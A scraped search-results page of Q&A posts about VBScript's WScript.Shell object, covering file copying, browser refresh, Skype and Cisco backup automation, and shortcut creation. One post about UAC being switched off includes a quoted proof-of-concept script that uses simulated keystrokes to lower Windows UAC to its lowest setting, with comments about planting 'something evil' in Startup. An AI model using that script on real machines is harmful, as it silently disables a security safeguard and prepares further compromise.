Search Results

Search found 39 results on 2 pages for 'wshshell'.

Page 1/2 | 1 2  | Next Page >

  • executing two functions with wshshell

    - by sushant
    i have two different functions (copy and zip) to b executed. can i do it with with a single wshshell script.i tried---- Dim WshShell, oExec,g,h h="D:\d" g="xcopy " & h & " " & "D:\y\ /E & cmd /c cd D:\c & D: & winzip32.exe -min -a D:\a" Set WshShell = CreateObject("WScript.Shell") Set oExec = WshShell.Exec(g) Do While oExec.Status = 0 WScript.Sleep 100 Loop WScript.Echo oExec.Status it dint work.though separate programs i.e g="xcopy " & h & " " & "D:\y\ /E" and g="cmd /c cd D:\d & D: & winzip32.exe -min -a D:\a" works. i am sorry for the formatting problem. any help is appreciated.

    Read the article

  • How to refresh a webpage in IE

    - by Ramesh
    HI all, I have Ishare URL " www.example.com\ishare " which i opened it thru wshshell. I want this page to be reloaded every 10 seconds. any help on this would be much appreciated. following is the script, Dim WSHShell Dim oShell Set WSHShell = WScript.CreateObject("WScript.Shell") WSHShell.Run("iexplore https://Infrastructure/IA/Lists/Incidents/AllItems.aspx") oShell = "Incidents - Microsoft Internet Explorer" WSHShell.appActivate(oShell) WScript.sleep 500 WSHShell.SendKeys "{F5}" Set WSHShell = Nothing

    Read the article

  • UAC being turned off once a day on Windows 7

    - by Mehper C. Palavuzlar
    I have strange problem on my HP laptop. This began to happen recently. Whenever I start my machine, Windows 7 Action Center displays the following warning: You need to restart your computer for UAC to be turned off. Actually, this does not happen if it happened once on a specific day. For example, when I start the machine in the morning, it shows up; but it never shows up in the subsequent restarts within that day. On the next day, the same thing happens again. I never disable UAC, but obviously some rootkit or virus causes this. As soon as I get this warning, I head for the UAC settings, and re-enable UAC to dismiss this warning. This is a bothersome situation as I can't fix it. First, I have run a full scan on the computer for any probable virus and malware/rootkit activity, but TrendMicro OfficeScan said that no viruses have been found. I went to an old Restore Point using Windows System Restore, but the problem was not solved. What I have tried so far (which couldn't find the rootkit): TrendMicro OfficeScan Antivirus AVAST Malwarebytes' Anti-malware Ad-Aware Vipre Antivirus GMER TDSSKiller (Kaspersky Labs) HiJackThis RegRuns UnHackMe SuperAntiSpyware Portable Tizer Rootkit Razor (*) Sophos Anti-Rootkit SpyHunter 4 There are no other strange activities on the machine. Everything works fine except this bizarre incident. What could be the name of this annoying rootkit? How can I detect and remove it? EDIT: Below is the log file generated by HijackThis: Logfile of Trend Micro HijackThis v2.0.4 Scan saved at 13:07:04, on 17.01.2011 Platform: Windows 7 (WinNT 6.00.3504) MSIE: Internet Explorer v8.00 (8.00.7600.16700) Boot mode: Normal Running processes: C:\Windows\system32\taskhost.exe C:\Windows\system32\Dwm.exe C:\Windows\Explorer.EXE C:\Program Files\CheckPoint\SecuRemote\bin\SR_GUI.Exe C:\Windows\System32\igfxtray.exe C:\Windows\System32\hkcmd.exe C:\Windows\system32\igfxsrvc.exe C:\Windows\System32\igfxpers.exe C:\Program Files\Hewlett-Packard\HP Wireless Assistant\HPWAMain.exe C:\Program Files\Synaptics\SynTP\SynTPEnh.exe C:\Program Files\Hewlett-Packard\HP Quick Launch Buttons\QLBCTRL.exe C:\Program Files\Analog Devices\Core\smax4pnp.exe C:\Program Files\Hewlett-Packard\HP Quick Launch Buttons\VolCtrl.exe C:\Program Files\LightningFAX\LFclient\lfsndmng.exe C:\Program Files\Common Files\Java\Java Update\jusched.exe C:\Program Files\Microsoft Office Communicator\communicator.exe C:\Program Files\Iron Mountain\Connected BackupPC\Agent.exe C:\Program Files\Trend Micro\OfficeScan Client\PccNTMon.exe C:\Program Files\Microsoft LifeCam\LifeExp.exe C:\Program Files\Hewlett-Packard\Shared\HpqToaster.exe C:\Program Files\Windows Sidebar\sidebar.exe C:\Program Files\mimio\mimio Studio\system\aps_tablet\atwtusb.exe C:\Program Files\Microsoft Office\Office12\OUTLOOK.EXE C:\Program Files\Babylon\Babylon-Pro\Babylon.exe C:\Program Files\Mozilla Firefox\firefox.exe C:\Users\userx\Desktop\HijackThis.exe R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896 R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://go.microsoft.com/fwlink/?LinkId=69157 R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://go.microsoft.com/fwlink/?LinkId=54896 R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896 R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkId=69157 R0 - HKLM\Software\Microsoft\Internet Explorer\Search,SearchAssistant = R0 - HKLM\Software\Microsoft\Internet Explorer\Search,CustomizeSearch = R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,AutoConfigURL = http://www.yaysat.com.tr/proxy/proxy.pac R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = O2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll O2 - BHO: Babylon IE plugin - {9CFACCB6-2F3F-4177-94EA-0D2B72D384C1} - C:\Program Files\Babylon\Babylon-Pro\Utils\BabylonIEPI.dll O2 - BHO: Java(tm) Plug-In 2 SSV Helper - {DBC80044-A445-435b-BC74-9C25C1C588A9} - C:\Program Files\Java\jre6\bin\jp2ssv.dll O4 - HKLM\..\Run: [IgfxTray] C:\Windows\system32\igfxtray.exe O4 - HKLM\..\Run: [HotKeysCmds] C:\Windows\system32\hkcmd.exe O4 - HKLM\..\Run: [Persistence] C:\Windows\system32\igfxpers.exe O4 - HKLM\..\Run: [hpWirelessAssistant] C:\Program Files\Hewlett-Packard\HP Wireless Assistant\HPWAMain.exe O4 - HKLM\..\Run: [SynTPEnh] C:\Program Files\Synaptics\SynTP\SynTPEnh.exe O4 - HKLM\..\Run: [QlbCtrl.exe] C:\Program Files\Hewlett-Packard\HP Quick Launch Buttons\QlbCtrl.exe /Start O4 - HKLM\..\Run: [SoundMAXPnP] C:\Program Files\Analog Devices\Core\smax4pnp.exe O4 - HKLM\..\Run: [Adobe Reader Speed Launcher] "C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe" O4 - HKLM\..\Run: [Adobe ARM] "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe" O4 - HKLM\..\Run: [lfsndmng] C:\Program Files\LightningFAX\LFclient\LFSNDMNG.EXE O4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Program Files\Common Files\Java\Java Update\jusched.exe" O4 - HKLM\..\Run: [Communicator] "C:\Program Files\Microsoft Office Communicator\communicator.exe" /fromrunkey O4 - HKLM\..\Run: [AgentUiRunKey] "C:\Program Files\Iron Mountain\Connected BackupPC\Agent.exe" -ni -sss -e http://localhost:16386/ O4 - HKLM\..\Run: [OfficeScanNT Monitor] "C:\Program Files\Trend Micro\OfficeScan Client\pccntmon.exe" -HideWindow O4 - HKLM\..\Run: [Babylon Client] C:\Program Files\Babylon\Babylon-Pro\Babylon.exe -AutoStart O4 - HKLM\..\Run: [LifeCam] "C:\Program Files\Microsoft LifeCam\LifeExp.exe" O4 - HKCU\..\Run: [Sidebar] C:\Program Files\Windows Sidebar\sidebar.exe /autoRun O4 - Global Startup: mimio Studio.lnk = C:\Program Files\mimio\mimio Studio\mimiosys.exe O8 - Extra context menu item: Microsoft Excel'e &Ver - res://C:\PROGRA~1\MICROS~1\Office12\EXCEL.EXE/3000 O8 - Extra context menu item: Translate this web page with Babylon - res://C:\Program Files\Babylon\Babylon-Pro\Utils\BabylonIEPI.dll/ActionTU.htm O8 - Extra context menu item: Translate with Babylon - res://C:\Program Files\Babylon\Babylon-Pro\Utils\BabylonIEPI.dll/Action.htm O9 - Extra button: Research - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~1\Office12\REFIEBAR.DLL O9 - Extra button: Translate this web page with Babylon - {F72841F0-4EF1-4df5-BCE5-B3AC8ACF5478} - C:\Program Files\Babylon\Babylon-Pro\Utils\BabylonIEPI.dll O9 - Extra 'Tools' menuitem: Translate this web page with Babylon - {F72841F0-4EF1-4df5-BCE5-B3AC8ACF5478} - C:\Program Files\Babylon\Babylon-Pro\Utils\BabylonIEPI.dll O16 - DPF: {00134F72-5284-44F7-95A8-52A619F70751} (ObjWinNTCheck Class) - https://172.20.12.103:4343/officescan/console/html/ClientInstall/WinNTChk.cab O16 - DPF: {08D75BC1-D2B5-11D1-88FC-0080C859833B} (OfficeScan Corp Edition Web-Deployment SetupCtrl Class) - https://172.20.12.103:4343/officescan/console/html/ClientInstall/setup.cab O17 - HKLM\System\CCS\Services\Tcpip\Parameters: Domain = yaysat.com O17 - HKLM\Software\..\Telephony: DomainName = yaysat.com O17 - HKLM\System\CS1\Services\Tcpip\Parameters: Domain = yaysat.com O17 - HKLM\System\CS2\Services\Tcpip\Parameters: Domain = yaysat.com O18 - Protocol: qcom - {B8DBD265-42C3-43E6-B439-E968C71984C6} - C:\Program Files\Common Files\Quest Shared\CodeXpert\qcom.dll O22 - SharedTaskScheduler: FencesShellExt - {1984DD45-52CF-49cd-AB77-18F378FEA264} - C:\Program Files\Stardock\Fences\FencesMenu.dll O23 - Service: Andrea ADI Filters Service (AEADIFilters) - Andrea Electronics Corporation - C:\Windows\system32\AEADISRV.EXE O23 - Service: AgentService - Iron Mountain Incorporated - C:\Program Files\Iron Mountain\Connected BackupPC\AgentService.exe O23 - Service: Agere Modem Call Progress Audio (AgereModemAudio) - LSI Corporation - C:\Program Files\LSI SoftModem\agrsmsvc.exe O23 - Service: BMFMySQL - Unknown owner - C:\Program Files\Quest Software\Benchmark Factory for Databases\Repository\MySQL\bin\mysqld-max-nt.exe O23 - Service: Com4QLBEx - Hewlett-Packard Development Company, L.P. - C:\Program Files\Hewlett-Packard\HP Quick Launch Buttons\Com4QLBEx.exe O23 - Service: hpqwmiex - Hewlett-Packard Development Company, L.P. - C:\Program Files\Hewlett-Packard\Shared\hpqwmiex.exe O23 - Service: OfficeScanNT RealTime Scan (ntrtscan) - Trend Micro Inc. - C:\Program Files\Trend Micro\OfficeScan Client\ntrtscan.exe O23 - Service: SMS Task Sequence Agent (smstsmgr) - Unknown owner - C:\Windows\system32\CCM\TSManager.exe O23 - Service: Check Point VPN-1 Securemote service (SR_Service) - Check Point Software Technologies - C:\Program Files\CheckPoint\SecuRemote\bin\SR_Service.exe O23 - Service: Check Point VPN-1 Securemote watchdog (SR_Watchdog) - Check Point Software Technologies - C:\Program Files\CheckPoint\SecuRemote\bin\SR_Watchdog.exe O23 - Service: Trend Micro Unauthorized Change Prevention Service (TMBMServer) - Trend Micro Inc. - C:\Program Files\Trend Micro\OfficeScan Client\..\BM\TMBMSRV.exe O23 - Service: OfficeScan NT Listener (tmlisten) - Trend Micro Inc. - C:\Program Files\Trend Micro\OfficeScan Client\tmlisten.exe O23 - Service: OfficeScan NT Proxy Service (TmProxy) - Trend Micro Inc. - C:\Program Files\Trend Micro\OfficeScan Client\TmProxy.exe O23 - Service: VNC Server Version 4 (WinVNC4) - RealVNC Ltd. - C:\Program Files\RealVNC\VNC4\WinVNC4.exe -- End of file - 8204 bytes As suggested in this very similar question, I have run full scans (+boot time scans) with RegRun and UnHackMe, but they also did not find anything. I have carefully examined all entries in the Event Viewer, but there's nothing wrong. Now I know that there is a hidden trojan (rootkit) on my machine which seems to disguise itself quite successfully. Note that I don't have the chance to remove the HDD, or reinstall the OS as this is a work machine subjected to certain IT policies on a company domain. Despite all my attempts, the problem still remains. I strictly need a to-the-point method or a pukka rootkit remover to remove whatever it is. I don't want to monkey with the system settings, i.e. disabling auto runs one by one, messing the registry, etc. EDIT 2: I have found an article which is closely related to my trouble: Malware can turn off UAC in Windows 7; “By design” says Microsoft. Special thanks(!) to Microsoft. In the article, a VBScript code is given to disable UAC automatically: '// 1337H4x Written by _____________ '// (12 year old) Set WshShell = WScript.CreateObject("WScript.Shell") '// Toggle Start menu WshShell.SendKeys("^{ESC}") WScript.Sleep(500) '// Search for UAC applet WshShell.SendKeys("change uac") WScript.Sleep(2000) '// Open the applet (assuming second result) WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{ENTER}") WScript.Sleep(2000) '// Set UAC level to lowest (assuming out-of-box Default setting) WshShell.SendKeys("{TAB}") WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{DOWN}") '// Save our changes WshShell.SendKeys("{TAB}") WshShell.SendKeys("{ENTER}") '// TODO: Add code to handle installation of rebound '// process to continue exploitation, i.e. place something '// evil in Startup folder '// Reboot the system '// WshShell.Run "shutdown /r /f" Unfortunately, that doesn't tell me how I can get rid of this malicious code running on my system. EDIT 3: Last night, I left the laptop open because of a running SQL task. When I came in the morning, I saw that UAC was turned off. So, I suspect that the problem is not related to startup. It is happening once a day for sure no matter if the machine is rebooted.

    Read the article

  • Quick Script for Adding Skype Groups

    - by Robert May
    So, I needed to add about 30 people to several different Skype groups today, and I didn’t want to repeat the /add [skypename] thing over and over and over.  Building the list was a pain . . . I couldn’t find a good way to extract all of the users in an existing group.  There’s probably an api or something, but I just did that part by hand. Adding them to the groups was pretty easy with Windows Scripting Host.  Basically, I just ran this: <package>    <job id="vbs">       <script language="VBScript">          set WshShell = WScript.CreateObject("WScript.Shell")          WshShell.AppActivate 4484          WScript.Sleep 100          WshShell.SendKeys "/add user1~"          WScript.Sleep 100 …          WshShell.SendKeys "/add usern~"          WScript.Sleep 100       </script>    </job> </package> Add as many users as you need by copying the sendkeys and sleep lines.  Then, save the script to a .wsf file.  The AppActivate line needs to be changed to have the process id of skype instead of the number there.  To get that, open up Task Manager, click on Processes, then find skype.exe and find it’s PID. Before you double click on the file in windows explorer, you’ll need to have created the groups in skype.  For each group, open the group, and click in the chat window of the group.  Then double click on the WSF file.  If you don’t click in the chat window, you will likely get the add user dialog box instead of just adding the users. Technorati Tags: Skype,Script

    Read the article

  • problem creating object "wscript.shell"

    - by sushant
    my script looks like: Dim WshShell, oExec Set WshShell = CreateObject("WScript.Shell") Set oExec = WshShell.Exec("cmd /c cd D:\d & D: & winzip32.exe -min -a D:\a") Do While oExec.Status = 0 WScript.Sleep 100 Loop WScript.Echo oExec.Status The idea was to use explorer to open these files. The problem I'm having though is on the line: Set WshShell = CreateObject("WScript.Shell") I keep getting the message ActiveX component can't create object: 'WScript.Shell' I'm totally confused because this exact same code runs fine if I write it in a .htm file. Why does my browser treat my .asp page differently than the .html file? How do i fix this problem?

    Read the article

  • How to Execute an Oracle SQL Statements with VBScript

    - by Arno Conradie
    I am trying to execute an Oracle SQL statement or Oracle Functions through Microsoft VBScript and the loop throught the result set or display the value returned by the function So far I have managed to connect to Oracle via SQLPlus*, but now I am stuck. Can anybody help? Dim output Dim WshShell, oExec, input set WshShell = CreateObject("WScript.Shell") set oEnv=WshShell.Environment("Process") cmdString = "C:\Oracle\11g\product\11.1.0\ruby\BIN\sqlplus.exe -S stradmin/stradmin@ruby select * from dual" Set oExec = WshShell.Exec(cmdString) WScript.Echo "Status" & oExec.Status Do While oExec.Status = 0 WScript.Sleep 2 Loop input = "" Do While Not oExec.StdOut.AtEndOfStream input = input & oExec.StdOut.Read(1) Loop wscript.echo input

    Read the article

  • Cisco Configuration backup with Windows Script.

    - by Jeff
    We have a client with a lot of Cisco Devices and we would like to automate the backups of these devices through telnet. We have both 2003 and 2008 servers and ideally use tftp to back it up. I wrote this: Set WshShell = WScript.CreateObject("WScript.Shell") Dim fso Set fso = CreateObject("Scripting.FileSystemObject") Dim ciscoList ciscoList = "D:\Scripts\SwitchList.txt" Set theSwitchList = fso.OpenTextFile(ciscoList, 1) Do While theSwitchList.AtEndOfStream <> True cisco = theSwitchList.ReadLine Run "cmd.exe" SendKeys "telnet " SendKeys cisco SendKeys "{ENTER}" SendKeys "USERNAME" SendKeys "{ENTER}" SendKeys "PASSWORD" SendKeys "{ENTER}" SendKeys "en" SendKeys "{ENTER}" SendKeys "PASSWORD" SendKeys "{ENTER}" SendKeys "copy startup-config tftp{ENTER}" SendKeys "(TFTP IP){ENTER}" SendKeys "FileName.txt{ENTER}" SendKeys "exit{ENTER}" 'close telnet session' SendKeys "{ENTER}" 'get command prompt back SendKeys "{ENTER}" SendKeys "exit{ENTER}" 'close cmd.exe On Error Resume Next WScript.Sleep 3000 Loop Sub SendKeys(s) WshShell.SendKeys s WScript.Sleep 300 End Sub Sub Run(command) WshShell.Run command WScript.Sleep 100 WshShell.AppActivate command WScript.Sleep 300 End Sub But the problem with this is the sendkeys are sent to the console session, I'm trying to find a solution that would not require a user to be logged in. Does anyone have any ideas? I have some knowlage of VBS, PowerShell and a pretty good grasp on batching.

    Read the article

  • Trying to rename a computer via the netdom command and force a reboot

    - by user57020
    Why doesn't this work? it looks like it will but nothing happens. Option Explicit Dim wshNetwork Dim wshShell Dim PCname Dim Newname Set wshNetwork = WScript.CreateObject("WScript.Network") Set wshShell = WScript.CreateObject("WScript.Shell") PCname = InputBox("Type in the name of the pc you want to rename") Newname = InputBox("Type in the name of the new pc name") wshShell.run("netdom renamecomputer " &PCname& " /NewName:"&Newname& " /reboot:00 " ) 'MsgBox("netdom renamecomputer " &PCname& " /NewName:"&Newname& " /reboot:00 /y")

    Read the article

  • File Folder copy

    - by Dario Dias
    Below is the VBScript code. If the file/s or folder exist I get scripting error, "File already exists". How to fix that? How to create folder only if it does not exist and copy files only that are new or do not exist in source path? How to insert the username (Point 1) after "Welcome" and at (Poin 3) instead of user cancelled? Can the buttons be changed to Copy,Update,Cancel instead of Yes,No,Cancel? (Point 2) The code: Set objFSO = CreateObject("Scripting.FileSystemObject") Set wshShell = WScript.CreateObject( "WScript.Shell" ) strUserName = wshShell.ExpandEnvironmentStrings( "%USERNAME%" ) Message = " Welcome to the AVG Update Module" & vbCR '1* Message = Message & " *****************************" & vbCR & vbCR Message = Message & " Click Yes to Copy Definition Files" & vbCR & vbCR Message = Message & " OR " & vbCR & vbCR Message = Message & " Click No to Update Definition Files." & vbCR & vbCR Message = Message & " Click Cancel (ESC) to Exit." & vbCR & vbCR X = MsgBox(Message, vbYesNoCancel, "AVG Update Module") '2* 'Yes Selected Script If X = 6 then objFSO.FolderExists("E:\Updates") if TRUE then objFSO.CreateFolder ("E:\Updates") objFSO.CopyFile "c:\Docume~1\alluse~1\applic~1\avg8\update\download\*.*", "E:\Updates\" , OverwriteFiles MsgBox "Files Copied Succesfully.", vbInformation, "Copy Success" End If 'No Selected Script If X = 7 then objFSO.FolderExists("Updates") if TRUE then objFSO.CreateFolder("Updates") objFSO.CopyFile "E:\Updates\*.*", "Updates", OverwriteFiles Message = "Files Updated Successfully." & vbCR & vbCR Message = Message & "Click OK to Launch AVG GUI." & vbCR & vbCR Message = Message & "Click Cancel (ESC) to Exit." & vbCR & vbCR Y = MsgBox(Message, vbOKCancel, "Update Success") If Y = 1 then Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "C:\Progra~1\avg\avg8\avgui.exe" & Chr(34), 0 Set WshShell = Nothing End if If Y = 3 then WScript.Quit End IF 'Cancel Selection Script If X = 2 then MsgBox "No Files have been Copied/Updated.", vbExclamation, "User Cancelled" '3* End if

    Read the article

  • VBS Runtime error code 800A01B6

    - by salvationishere
    I am a newbie to VBS scripting. I am getting above error on line 54, character 5 in script below. This error says "Object doesn't support this property or method: 'MimeMapArray'". And line it is referring to is: MimeMapArray(i) = CreateObject("MimeMap") Can u tell me what I am doing wrong? Here is the script in its entirety. Note, I am trying to run this on an XP OS by double-clicking this VBS file. ' This script adds the necessary Windows Presentation Foundation MIME types ' to an IIS Server. ' To use this script, just double-click or execute it from a command line. ' Running this script multiple times results in multiple entries in the IIS MimeMap. ' Set the MIME types to be added Dim MimeMapObj Dim MimeMapArray Dim WshShell Dim oExec Const ADS_PROPERTY_UPDATE = 2 Dim MimeTypesToAddArray MimeTypesToAddArray = Array(".manifest", "application/manifest", ".xaml", _ "application/xaml+xml", ".application", "application/x-ms-application", _ ".deploy", "application/octet-stream", ".xbap", "application/x-ms-xbap", _ ".xps", "application/vnd.ms-xpsdocument") ' Get the mimemap object Set MimeMapObj = GetObject("IIS://LocalHost/MimeMap") ' Call AddMimeType for every pair of extension/MIME type For counter = 0 to UBound(MimeTypesToAddArray) Step 2 AddMimeType MimeTypesToAddArray(counter), MimeTypesToAddArray(counter+1) Next ' Create a Shell object Set WshShell = CreateObject("WScript.Shell") ' Stop and Start the IIS Service Set oExec = WshShell.Exec("net stop w3svc") Do While oExec.Status = 0 WScript.Sleep 100 Loop Set oExec = WshShell.Exec("net start w3svc") Do While oExec.Status = 0 WScript.Sleep 100 Loop Set oExec = Nothing ' Report status to user WScript.Echo "Windows Presentation Foundation MIME types have been registered." ' AddMimeType Sub Sub AddMimeType(ByVal Ext, ByVal MType) ' Get the mappings from the MimeMap property. MimeMapArray = MimeMapObj.GetEx("MimeMap") ' Add a new mapping. i = UBound(MimeMapArray) + 1 ReDim Preserve MimeMapArray(i) MimeMapArray(i) = CreateObject("MimeMap") MimeMapArray(i).Extension = Ext MimeMapArray(i).MimeType = MType MimeMapObj.PutEx ADS_PROPERTY_UPDATE, "MimeMap", MimeMapArray MimeMapObj.SetInfo() End Sub

    Read the article

  • Create shortcut from vb.net on Windows 7 box (64 bit)

    - by Matt
    I am trying to create a desktop shortcut from vb.net code on a Windows 7 box (64 bit). The following code works on XP, but when run on Win7 I just get a message stating the App has stopped working: Imports IWshRuntimeLibrary Dim WshShell As WshShellClass = New WshShellClass Dim MyShortcut As IWshRuntimeLibrary.IWshShortcut ' The shortcut will be created on the desktop 'Win 7 MyShortcut = CType(WshShell.CreateShortcut("C:\Users\Public\Desktop\iexplore.lnk"), IWshRuntimeLibrary.IWshShortcut) 'MyShortcut = CType(WshShell.CreateShortcut("C:\Documents and Settings\All Users\Desktop\iexplore.lnk"), IWshRuntimeLibrary.IWshShortcut) MyShortcut.TargetPath = "C:\Program Files\Internet Explorer\iexplore.exe" 'Specify target app full path MyShortcut.Description = "IE" MyShortcut.Save() Any thoughts or better ways to create a shorcut from code on a Win7 box?

    Read the article

  • Problem copying files through xcopy using VBScript

    - by sushant
    I am using VBScript to copy files using xcopy. The problem is that the folder path has to be entered by the user. Assuming I put that path in a variable, say h, how do I use this variable in the xcopy command? Here is the code I tried: Dim WshShell, oExec, g, h h = "D:\newfolder" g = "xcopy $h D:\y\ /E" Set WshShell = CreateObject("WScript.Shell") Set oExec = WshShell.Exec(g) I also tried &h but it did not work. Could anyone help me work out the correct syntax? Any help is appreciated.

    Read the article

  • Is vbscripting that difficult?

    - by eric young
    I need to write some vbscripts in my new project. I was told by other people that vbscripting is easy, but seems to me, it is not. For example, in the following example (provided by microsoft), these functions: CreateObject, CreateShortcut, as well as these property names: TargetPath, WindowStyle, Hotkey, etc, are used, but I just cannot find the corresponding API documentation about how to use them. In other words, how do you know you need to call these functions in your vbscripts? Visual Studio 2008/2010 do not have templates for vbscript either. Could anybody tell me what I am missing, and what the best way is to do vbscripting? set WshShell = WScript.CreateObject("WScript.Shell") strDesktop = WshShell.SpecialFolders("Desktop") set oShellLink = WshShell.CreateShortcut(strDesktop _ & "\MyExcel.lnk") oShellLink.TargetPath = _ "C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE" oShellLink.WindowStyle = 1 oShellLink.Hotkey = "CTRL+SHIFT+F" oShellLink.IconLocation = _ "C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE, 0" oShellLink.Description = "My Excel Shortcut" oShellLink.WorkingDirectory = strDesktop oShellLink.Save

    Read the article

  • calling two functions sequentially in vbscript with single click event

    - by sushant
    i need to call two function on a single click event. and also the functions shud get executed sequentially. i tried click me . but its not working.its not calling any of the functions. here is the complete code. sorry for formatting. function copy() Dim WshShell, oExec,g,h h="D:\d" g="xcopy " & h & " " & "D:\y\ /E" Set WshShell = CreateObject("WScript.Shell") Set oExec = WshShell.Exec(g) Do While oExec.Status = 0 WScript.Sleep 100 Loop WScript.Echo oExec.Status end function function zip() Dim WshShel, oExe Set WshShel = CreateObject("WScript.Shell") Set oExe = WshShel.Exec("cmd /c cd D:\d & D: & winzip32.exe -min -a D:\a") Do While oExe.Status = 0 WScript.Sleep 100 Loop WScript.Echo oExe.Status end function click me any help is appreciated.

    Read the article

  • facing problem copying files through xcopy using vbscript

    - by sushant
    i am using the following code. the problem is that folder location path has to be entered by user. assuming i put that path in a variable say "h", how do i call this variable in xcopy. here is the code i tried. please tell the correct syntax. Dim WshShell, oExec,g,h h="D:\newfolder" g="xcopy $h D:\y\ /E" Set WshShell = CreateObject("WScript.Shell") Set oExec = WshShell.Exec(g) i also tried "&h" but it did not work. any help is appreciated and sorry again, i dont know how to format it.

    Read the article

  • Script to set NO_HEARTBEAT Flag

    - by Koppar
    The new plugin provides some flags to help debug the browser side VM. Below are the flags: JPI_PLUGIN2_DEBUG=1JPI_PLUGIN2_VERBOSE=1 The above 2 provide tracing information JPI_PLUGIN2_NO_HEARTBEAT = 1 This disables sending of  heartbeat messages between browser side VM and the client JVM instance(s). This lets the client JVM stay independent of browser side VM. These are to be set as system environment variables. Many a times we are required to set them using scripts. Here is a small script to achieve the same: -----------set_jpi_flags.vbs------------------------------------------ Set WSHShell = WScript.CreateObject("WScript.Shell")Set WshEnv = WshShell.Environment("USER")WshEnv("JPI_PLUGIN2_NO_HEARTBEAT") = "1"WshEnv("JPI_PLUGIN2_DEBUG") = "1"WshEnv("JPI_PLUGIN2_VERBOSE") = "1"WScript.Echo WshEnv("JPI_PLUGIN2_NO_HEARTBEAT")   ---- displays the value of the NO_HEARTBEAT var ---------------------------------------------------------------------------

    Read the article

  • svn dump fails with WScript.Shell

    - by chandrajeet
    var WshShell = new ActiveXObject("WScript.Shell"); var commandLine = "svnadmin dump " + repoFullPath + " > " + repoName + ".dumpfile"; WshShell.Exec(commandLine) I am trying to run above cscript in windows but it seems like, it's doing nothing. It doesn't create the dump file. Any mistake that I am doing? Thanks,

    Read the article

  • Exception thrown when using WScript via COM in PHP

    - by user198729
    try { $cmd = 'php path_to_file.php args'; $WshShell = new COM("WScript.Shell"); $oExec = $WshShell->Run($cmd, 1, false); } catch( Exception $e ) { echo 'Caught exception: ', $e->getMessage(), "\n"; } It reports: Caught exception: Source: Unknown Description: Unknown Has anyone met this kind of problem ?

    Read the article

  • A script that writes errors and should create a event-error

    - by helmich
    this if it works should check the internet connection if there is a connection it does nothing. if there isn't a connection it should write a error in a txtfile if that happend 5 times it should create a error but it doesn't I will show you the whole code that i have now and the piece of code that i want in a loop. I can't get it in the way i want. I want it to creat 1 Event-error after 5 times writing to the file. this is the whole code i will put the code i want in a loop under it strDirectory = "Z:\text2" strFile = "\foutmelding.txt" strText = "De connectie is verbroken" strWebsite = "www.helmichbeens.com" If PingSite(strWebsite) Then WScript.Quit 'Website is pingable - no further action required Set objFSO = CreateObject("Scripting.FileSystemObject") RecordSingleEvent Dim fout For fout = 1 To 5 : Do If fout = 5 Then Exit Do Set WshShell = WScript.CreateObject("WScript.Shell") Call WshShell.LogEvent(1, "Test Event") Loop While False : next '------------------------------------ 'Record a single event in a text file '------------------------------------ Sub RecordSingleEvent If Not objFSO.FolderExists(strDirectory) Then objFSO.CreateFolder(strDirectory) Set objTextFile = objFSO.OpenTextFile(strDirectory & strFile, 8, True) objTextFile.WriteLine(Now & strText) objTextFile.Close End sub '---------------- 'Ping my web site '---------------- Function PingSite( myWebsite ) Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) objHTTP.Open "GET", "http://" & myWebsite & "/", False objHTTP.SetRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MyApp 1.0; Windows NT 5.1)" On Error Resume Next objHTTP.Send PingSite = (objHTTP.Status = 200) On Error Goto 0 End Function '----------------------------------------------- 'Counts the number of lines inside the text file '----------------------------------------------- Function EventCount(fout) strData = objFSO.OpenTextFile(strDirectory & strFile,ForReading).ReadAll arrLines = Split(strData,vbCrLf) EventCount = UBound(arrLines) End Function This is the whole code, and it doesnt work correctly becaus it creats a event-log rightaway and it should do that after the script has written 5 times to the textfile here is the code that writes to a textfile Sub RecordSingleEvent If Not objFSO.FolderExists(strDirectory) Then objFSO.CreateFolder(strDirectory) Set objTextFile = objFSO.OpenTextFile(strDirectory & strFile, 8, True) objTextFile.WriteLine(Now & strText) objTextFile.Close End sub and here is the code but this part doesnt not work or atleast i think it is this part Dim fout For fout = 1 To 5 : Do If fout = 5 Then Exit Do Set WshShell = WScript.CreateObject("WScript.Shell") Call WshShell.LogEvent(1, "Test Event") Loop While False : next Function EventCount(fout) strData = objFSO.OpenTextFile(strDirectory & strFile,ForReading).ReadAll arrLines = Split(strData,vbCrLf) EventCount = UBound(arrLines) End Function this is the not working part and I don't know what to do anymore so can you please take a look at it tank you very much. btw: this code can be very usefull for a network administrator

    Read the article

  • how to delete multiple folders,desktop and start menu shortcut using vbscript

    - by user1756858
